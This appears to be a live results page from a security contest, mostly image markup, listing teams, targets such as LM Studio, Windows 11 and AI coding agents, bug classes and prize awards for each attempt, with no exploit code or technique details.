                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d8680c0c-ff5e-4949-90db-053fb820371b/image.png" data-image-dimensions="4215x3161" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d8680c0c-ff5e-4949-90db-053fb820371b/image.png?format=1000w" width="4215" height="3161" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d8680c0c-ff5e-4949-90db-053fb820371b/image.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d8680c0c-ff5e-4949-90db-053fb820371b/image.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d8680c0c-ff5e-4949-90db-053fb820371b/image.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d8680c0c-ff5e-4949-90db-053fb820371b/image.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d8680c0c-ff5e-4949-90db-053fb820371b/image.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d8680c0c-ff5e-4949-90db-053fb820371b/image.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d8680c0c-ff5e-4949-90db-053fb820371b/image.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">WITHDRAWAL</b> - Ben Koo (@kiddo_pwn) of Team DDOS has withdrawn their entry for Mozilla Firefox – Renderer Only in the Web Browser category</p>
<p><b data-preserve-html-node="true">FAILURE</b> - Unfortunately, Interrupt Labs could not get their exploit of NV Container Toolkit working within the time allotted</p>
<p><b data-preserve-html-node="true">COLLISON</b> - Although successful on stage, the Ikotas Labs, Inc. team targeting LiteLLM in the Local Inference category used bugs that were previously known. They still earn $8,000 and 1.75 Master of Pwn points. </p>
<p><b data-preserve-html-node="true">SUCCESS</b> - Yoseop Kim (@pwning_me) used a CWE-470 bug to exploit NVIDIA Megatron Bridge in the second round, earning $10,000 and 2 Master of Pwn points.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/15db6b29-35d7-42d8-a0ca-56acdae95d96/IMG_4210.jpg" data-image-dimensions="5712x4284" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/15db6b29-35d7-42d8-a0ca-56acdae95d96/IMG_4210.jpg?format=1000w" width="5712" height="4284" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/15db6b29-35d7-42d8-a0ca-56acdae95d96/IMG_4210.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/15db6b29-35d7-42d8-a0ca-56acdae95d96/IMG_4210.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/15db6b29-35d7-42d8-a0ca-56acdae95d96/IMG_4210.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/15db6b29-35d7-42d8-a0ca-56acdae95d96/IMG_4210.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/15db6b29-35d7-42d8-a0ca-56acdae95d96/IMG_4210.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/15db6b29-35d7-42d8-a0ca-56acdae95d96/IMG_4210.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/15db6b29-35d7-42d8-a0ca-56acdae95d96/IMG_4210.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">COLLISON</b> - Although successful on stage, maitai (@MaitaiThe) of Doyensec (@Doyensec) targeting OpenAI Codex in the Coding Agent category used a bug that was previously known to the vendor. They still earn $10,000 and 2 Master of Pwn points.</p>
<p><b data-preserve-html-node="true">WITHDRAWAL</b> - Yoseop Kim(@pwning_me) has withdrawn their entry for Mozilla Firefox – Renderer Only in the Web Browser category</p>
<p><b data-preserve-html-node="true">SUCCESS</b> - haehae (@haehaeYang) of Out Of Bounds chained 2 bugs (CWE-190, CWE-362) to exploit Chroma, earning $20,000 and 2 Master of Pwn points.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/cc813b2e-25d8-40d3-8e89-2f039af4e6c2/IMG_4212.png" data-image-dimensions="5712x4284" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/cc813b2e-25d8-40d3-8e89-2f039af4e6c2/IMG_4212.png?format=1000w" width="5712" height="4284" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/cc813b2e-25d8-40d3-8e89-2f039af4e6c2/IMG_4212.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/cc813b2e-25d8-40d3-8e89-2f039af4e6c2/IMG_4212.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/cc813b2e-25d8-40d3-8e89-2f039af4e6c2/IMG_4212.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/cc813b2e-25d8-40d3-8e89-2f039af4e6c2/IMG_4212.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/cc813b2e-25d8-40d3-8e89-2f039af4e6c2/IMG_4212.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/cc813b2e-25d8-40d3-8e89-2f039af4e6c2/IMG_4212.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/cc813b2e-25d8-40d3-8e89-2f039af4e6c2/IMG_4212.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  













































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f16a74a5-c8fb-471e-b443-310df16623f8/31890825-B84C-4C98-9300-2F388E0DAD82_1_105_c.jpeg" data-image-dimensions="1024x768" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f16a74a5-c8fb-471e-b443-310df16623f8/31890825-B84C-4C98-9300-2F388E0DAD82_1_105_c.jpeg?format=1000w" width="1024" height="768" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f16a74a5-c8fb-471e-b443-310df16623f8/31890825-B84C-4C98-9300-2F388E0DAD82_1_105_c.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f16a74a5-c8fb-471e-b443-310df16623f8/31890825-B84C-4C98-9300-2F388E0DAD82_1_105_c.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f16a74a5-c8fb-471e-b443-310df16623f8/31890825-B84C-4C98-9300-2F388E0DAD82_1_105_c.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f16a74a5-c8fb-471e-b443-310df16623f8/31890825-B84C-4C98-9300-2F388E0DAD82_1_105_c.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f16a74a5-c8fb-471e-b443-310df16623f8/31890825-B84C-4C98-9300-2F388E0DAD82_1_105_c.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f16a74a5-c8fb-471e-b443-310df16623f8/31890825-B84C-4C98-9300-2F388E0DAD82_1_105_c.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f16a74a5-c8fb-471e-b443-310df16623f8/31890825-B84C-4C98-9300-2F388E0DAD82_1_105_c.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  













































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f263f440-190c-471c-aa16-9d58cacdc2dd/F1B35960-5644-4D02-A973-EC0A9BF3A342_1_105_c.jpeg" data-image-dimensions="1024x768" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f263f440-190c-471c-aa16-9d58cacdc2dd/F1B35960-5644-4D02-A973-EC0A9BF3A342_1_105_c.jpeg?format=1000w" width="1024" height="768" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f263f440-190c-471c-aa16-9d58cacdc2dd/F1B35960-5644-4D02-A973-EC0A9BF3A342_1_105_c.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f263f440-190c-471c-aa16-9d58cacdc2dd/F1B35960-5644-4D02-A973-EC0A9BF3A342_1_105_c.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f263f440-190c-471c-aa16-9d58cacdc2dd/F1B35960-5644-4D02-A973-EC0A9BF3A342_1_105_c.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f263f440-190c-471c-aa16-9d58cacdc2dd/F1B35960-5644-4D02-A973-EC0A9BF3A342_1_105_c.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f263f440-190c-471c-aa16-9d58cacdc2dd/F1B35960-5644-4D02-A973-EC0A9BF3A342_1_105_c.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f263f440-190c-471c-aa16-9d58cacdc2dd/F1B35960-5644-4D02-A973-EC0A9BF3A342_1_105_c.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f263f440-190c-471c-aa16-9d58cacdc2dd/F1B35960-5644-4D02-A973-EC0A9BF3A342_1_105_c.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">SUCCESS</b> - Billy (@st424204), Pan Zhenpeng (@Peterpan980927) &amp; Weiming Shi (@bestswngs) of STARLabs SG (@starlabs_sg) chained 5 bugs (incl. SSRF and Code Injection) to exploit LM Studio, earning $40,000 and 4 Master of Pwn points. Full win!</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ef590d46-4595-415a-8a7c-72d578c15164/Screenshot+2026-05-14+at+9.48.43%E2%80%AFAM.png" data-image-dimensions="1016x888" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ef590d46-4595-415a-8a7c-72d578c15164/Screenshot+2026-05-14+at+9.48.43%E2%80%AFAM.png?format=1000w" width="1016" height="888" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ef590d46-4595-415a-8a7c-72d578c15164/Screenshot+2026-05-14+at+9.48.43%E2%80%AFAM.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ef590d46-4595-415a-8a7c-72d578c15164/Screenshot+2026-05-14+at+9.48.43%E2%80%AFAM.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ef590d46-4595-415a-8a7c-72d578c15164/Screenshot+2026-05-14+at+9.48.43%E2%80%AFAM.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ef590d46-4595-415a-8a7c-72d578c15164/Screenshot+2026-05-14+at+9.48.43%E2%80%AFAM.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ef590d46-4595-415a-8a7c-72d578c15164/Screenshot+2026-05-14+at+9.48.43%E2%80%AFAM.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ef590d46-4595-415a-8a7c-72d578c15164/Screenshot+2026-05-14+at+9.48.43%E2%80%AFAM.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ef590d46-4595-415a-8a7c-72d578c15164/Screenshot+2026-05-14+at+9.48.43%E2%80%AFAM.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">SUCCESS</b> - Marcin Wiązowski used a heap-based buffer overflow to escalate privileges on Microsoft Windows 11 in the second round, earning $15,000 and 3 Master of Pwn points.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ea025410-eeb1-491e-9134-3de9fbcb137e/image.png" data-image-dimensions="3449x2586" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ea025410-eeb1-491e-9134-3de9fbcb137e/image.png?format=1000w" width="3449" height="2586" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ea025410-eeb1-491e-9134-3de9fbcb137e/image.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ea025410-eeb1-491e-9134-3de9fbcb137e/image.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ea025410-eeb1-491e-9134-3de9fbcb137e/image.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ea025410-eeb1-491e-9134-3de9fbcb137e/image.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ea025410-eeb1-491e-9134-3de9fbcb137e/image.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ea025410-eeb1-491e-9134-3de9fbcb137e/image.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ea025410-eeb1-491e-9134-3de9fbcb137e/image.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">WITHDRAWAL</b> - Qrious Secure (@qriousec) has withdrawn their entry for LM Studio in the Local Inference category.</p>
<p><b data-preserve-html-node="true">SUCCESS</b> - Chompie of IBM X-Force Offensive Research (XOR) used a race condition to escalate privileges on Red Hat Enterprise Linux for Workstations, earning $20,000 and 2 Master of Pwn points.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/6da6b79f-9492-4b34-8e36-b430bf74ffdd/Media.jpeg" data-image-dimensions="1767x1330" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/6da6b79f-9492-4b34-8e36-b430bf74ffdd/Media.jpeg?format=1000w" width="1767" height="1330" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/6da6b79f-9492-4b34-8e36-b430bf74ffdd/Media.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/6da6b79f-9492-4b34-8e36-b430bf74ffdd/Media.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/6da6b79f-9492-4b34-8e36-b430bf74ffdd/Media.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/6da6b79f-9492-4b34-8e36-b430bf74ffdd/Media.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/6da6b79f-9492-4b34-8e36-b430bf74ffdd/Media.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/6da6b79f-9492-4b34-8e36-b430bf74ffdd/Media.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/6da6b79f-9492-4b34-8e36-b430bf74ffdd/Media.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  













































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3d584544-e7c2-4470-90b8-48d621467c38/chompie.jpeg" data-image-dimensions="5184x3888" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3d584544-e7c2-4470-90b8-48d621467c38/chompie.jpeg?format=1000w" width="5184" height="3888" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3d584544-e7c2-4470-90b8-48d621467c38/chompie.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3d584544-e7c2-4470-90b8-48d621467c38/chompie.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3d584544-e7c2-4470-90b8-48d621467c38/chompie.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3d584544-e7c2-4470-90b8-48d621467c38/chompie.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3d584544-e7c2-4470-90b8-48d621467c38/chompie.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3d584544-e7c2-4470-90b8-48d621467c38/chompie.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/3d584544-e7c2-4470-90b8-48d621467c38/chompie.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  













































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/75c13c60-75f1-42c1-82dc-77b929f3480e/chompie+2.jpeg" data-image-dimensions="5184x3888" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/75c13c60-75f1-42c1-82dc-77b929f3480e/chompie+2.jpeg?format=1000w" width="5184" height="3888" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/75c13c60-75f1-42c1-82dc-77b929f3480e/chompie+2.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/75c13c60-75f1-42c1-82dc-77b929f3480e/chompie+2.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/75c13c60-75f1-42c1-82dc-77b929f3480e/chompie+2.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/75c13c60-75f1-42c1-82dc-77b929f3480e/chompie+2.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/75c13c60-75f1-42c1-82dc-77b929f3480e/chompie+2.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/75c13c60-75f1-42c1-82dc-77b929f3480e/chompie+2.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/75c13c60-75f1-42c1-82dc-77b929f3480e/chompie+2.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">COLLISON</b> - Although successful on stage, Nguyen Thanh Dat (@rewhiles) of Viettel Cyber Security (@vcslab) targeting Anthropic Claude Code in the Coding Agent category used a bug that was previously known to the vendor. They still earn $20,000 and 2 Master of Pwn points</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b5ea350f-9a8d-483f-b703-ea2470a01a31/Image+%281%29.jpeg" data-image-dimensions="3024x4032" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b5ea350f-9a8d-483f-b703-ea2470a01a31/Image+%281%29.jpeg?format=1000w" width="3024" height="4032" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b5ea350f-9a8d-483f-b703-ea2470a01a31/Image+%281%29.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b5ea350f-9a8d-483f-b703-ea2470a01a31/Image+%281%29.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b5ea350f-9a8d-483f-b703-ea2470a01a31/Image+%281%29.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b5ea350f-9a8d-483f-b703-ea2470a01a31/Image+%281%29.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b5ea350f-9a8d-483f-b703-ea2470a01a31/Image+%281%29.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b5ea350f-9a8d-483f-b703-ea2470a01a31/Image+%281%29.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b5ea350f-9a8d-483f-b703-ea2470a01a31/Image+%281%29.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  













































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/aca34779-8d23-41c3-a957-5c95a623cfb6/Image.jpeg" data-image-dimensions="3024x4032" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/aca34779-8d23-41c3-a957-5c95a623cfb6/Image.jpeg?format=1000w" width="3024" height="4032" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/aca34779-8d23-41c3-a957-5c95a623cfb6/Image.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/aca34779-8d23-41c3-a957-5c95a623cfb6/Image.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/aca34779-8d23-41c3-a957-5c95a623cfb6/Image.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/aca34779-8d23-41c3-a957-5c95a623cfb6/Image.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/aca34779-8d23-41c3-a957-5c95a623cfb6/Image.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/aca34779-8d23-41c3-a957-5c95a623cfb6/Image.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/aca34779-8d23-41c3-a957-5c95a623cfb6/Image.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  













































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/0723c8cc-cf3c-408a-a08c-3c676e5d6706/viettel%3F.jpeg" data-image-dimensions="5184x3888" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/0723c8cc-cf3c-408a-a08c-3c676e5d6706/viettel%3F.jpeg?format=1000w" width="5184" height="3888" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/0723c8cc-cf3c-408a-a08c-3c676e5d6706/viettel%3F.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/0723c8cc-cf3c-408a-a08c-3c676e5d6706/viettel%3F.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/0723c8cc-cf3c-408a-a08c-3c676e5d6706/viettel%3F.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/0723c8cc-cf3c-408a-a08c-3c676e5d6706/viettel%3F.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/0723c8cc-cf3c-408a-a08c-3c676e5d6706/viettel%3F.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/0723c8cc-cf3c-408a-a08c-3c676e5d6706/viettel%3F.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/0723c8cc-cf3c-408a-a08c-3c676e5d6706/viettel%3F.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  













































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
